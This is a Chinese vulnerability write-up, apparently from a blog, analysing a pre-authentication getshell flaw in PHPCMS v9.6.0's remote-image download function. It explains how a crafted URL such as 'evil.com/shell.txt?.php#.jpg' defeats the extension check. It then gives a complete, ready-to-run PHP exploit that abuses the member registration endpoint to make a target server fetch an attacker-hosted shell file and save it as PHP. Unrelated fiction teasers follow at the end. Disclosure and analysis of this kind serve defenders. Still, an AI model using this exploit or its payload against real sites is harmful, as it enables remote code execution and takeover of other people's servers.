PHPCMS前台Getshell

  • 发布时间:2016-09-01
  • 公开时间:N/A
  • 漏洞类型:代码执行
  • 危害等级:高
  • 漏洞编号:xianzhi-2016-09-43476938
  • 测试版本:V9.6.0 20151225

漏洞详情

phpcms/libs/classes/attachment.class.php 行143

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }

函数的功能是从富文本中提取远程图片资源并保存在本地

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

使用这个正则来取图片资源的链接然后交给了 fillurl() 函数

fillurl($matche, $absurl, $basehref);

来看看这个 fillurl() 函数做了什么

function fillurl($surl, $absurl, $basehref = '') {
        if($basehref != '') {
            $preurl = strtolower(substr($surl,0,6));
            if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
            return  $surl;
            else
            return $basehref.'/'.$surl;
        }
        $i = 0;
        $dstr = '';
        $pstr = '';
        $okurl = '';
        $pathStep = 0;
        $surl = trim($surl);
        if($surl=='') return '';
        $urls = @parse_url(SITE_URL);
        $HomeUrl = $urls['host'];
        $BaseUrlPath = $HomeUrl.$urls['path'];
        $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
        $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
        $pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);
        if($surl[0]=='/') {
            $okurl = 'http://'.$HomeUrl.'/'.$surl;
        } elseif($surl[0] == '.') {
            if(strlen($surl)<=2) return '';
            elseif($surl[0]=='/') {
                $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
            } else {
                $urls = explode('/',$surl);
                foreach($urls as $u) {
                    if($u=="..") $pathStep++;
                    else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
                    else $dstr .= $urls[$i];
                    $i++;
                }
                $urls = explode('/', $BaseUrlPath);
                if(count($urls) <= $pathStep)
                return '';
                else {
                    $pstr = 'http://';
                    for($i=0;$i<count($urls)-$pathStep;$i++) {
                        $pstr .= $urls[$i].'/';
                    }
                    $okurl = $pstr.$dstr;
                }
            }
        } else {
            $preurl = strtolower(substr($surl,0,6));
            if(strlen($surl)<7)
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
            elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
            $okurl = $surl;
            else
            $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
        }
        $preurl = strtolower(substr($okurl,0,6));
        if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
            return $okurl;
        } else {
            $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
            $okurl = preg_replace('/\/{1,}/i','/',$okurl);
            return 'http://'.$okurl;
        }
    }

里面有这么一段

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

如果url中存在 # 符号,那么只截取url中 # 符号之前的内容
再来看看 download() 函数

$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;

if($upload_func($file, $newfile)) {

从处理完的链接中提取扩展名生成新文件名后保存到本地
可以看到这里并没有再次对扩展名进行验证
如果构造http://www.evil.com/shell.txt?.php#.jpg这样的链接 就能使正则匹配成功 而又提取 .php 作为新文件的扩展名保存到本地 导致Getshell

来看看 download() 函数哪里被调用

caches\caches_model\caches_data\member_input.class.php

function get($data) {
        
        $this->data = $data = trim_script($data);
        $model_cache = getcache('member_model', 'commons');
        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

        $info = array();
        $debar_filed = array('catid','title','style','thumb','status','islink','description');
        if(is_array($data)) {
            foreach($data as $field=>$value) {
                ……省略……
               $func = $this->fields[$field]['formtype'];
               if(method_exists($this, $func)) $value = $this->$func($field, $value);
                $info[$field] = $value;
            }
        }
        return $info;
    }

function editor($field, $value) {
        
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }

根据 **modelid** 从cache中取出数据放到`this->fields`

$this->fields = getcache('model_field_'.$modelid,'model');

$this->fields[$field]['formtype'] == 'editor'时就会调用 editor() 从而执行 download() 函数

搜索全部cache文件 只有4个包含 'formtype' => 'editor'
分别是/caches/caches/model/caches_data/model_field_(1|2|3|11).cache.php
所以当 modelid=(1,2,3,11) 其中一个 且调用了 member_input 类中的 get() 方法来处理可控数据,就可以Getshell

漏洞利用

这里找了一个前台用不登录的地方 注册环节

phpcms/modules/member/index.php 行33

public function register() {
    ……略……
73:    $userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
    
    ……略……
119:    $model_field_cache = getcache('model_field_'.$userinfo['modelid'],'model');
    ……略……
135:    require_once CACHE_MODEL_PATH.'member_input.class.php';
        require_once CACHE_MODEL_PATH.'member_update.class.php';
        $member_input = new member_input($userinfo['modelid']);        
        $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
        $user_model_info = $member_input->get($_POST['info']);

$modelid 来自 POST 随便1,2,3,11都行
后面调用了$member_input->get();方法 而且参数是可控的 $_POST['info'] 条件都满足了

EXP

利用代码具有攻击性,请在本地环境进行测试!
请勿针对任何互联网站点使用本代码!
利用本代码造成的一切后果与本人无关!

<?php
print_r('
****************************************************
*
*    Phpcms v9.6.0 Remote Code Execution Exp
*    by SMLDHZ
*    QQ:3298302054
*    Usage: php '.basename(__FILE__).' url/path
*    php '.basename(__FILE__).' http://192.168.1.1/
*
****************************************************
');
if($argc!=2){
    exit;
}
$shellAddr  = 'http://your.php.shell/x.txt';

$target     = $argv[1];
$url        = $target.'/index.php?m=member&c=index&a=register&siteid=1';
$payload    = 'dosubmit=1&siteid=1&modelid=11&username=SMLDHZ'.time().
            '&password=nidaye&pwdconfirm=nidaye&email=SMLDHZ'.time().
            '%40dqdq.com&nickname=SMLDHZ'.time().
            '&info[content]=<img src='.$shellAddr.'?.php#.jpg>';
            
echo "[+]Witness the miracle...\n";
$return     =sendPayload($url,$payload);
if(preg_match('#img src=(.*?)\&gt#', $return, $match)){
    echo "[+]shell: " . $match[1];
}else{
    echo "[!]failed!\n".$return;
}

function sendPayload($url,$payload){
    $ch     = curl_init ();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    $return = curl_exec($ch);
    curl_close($ch);
    return $return;
}

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容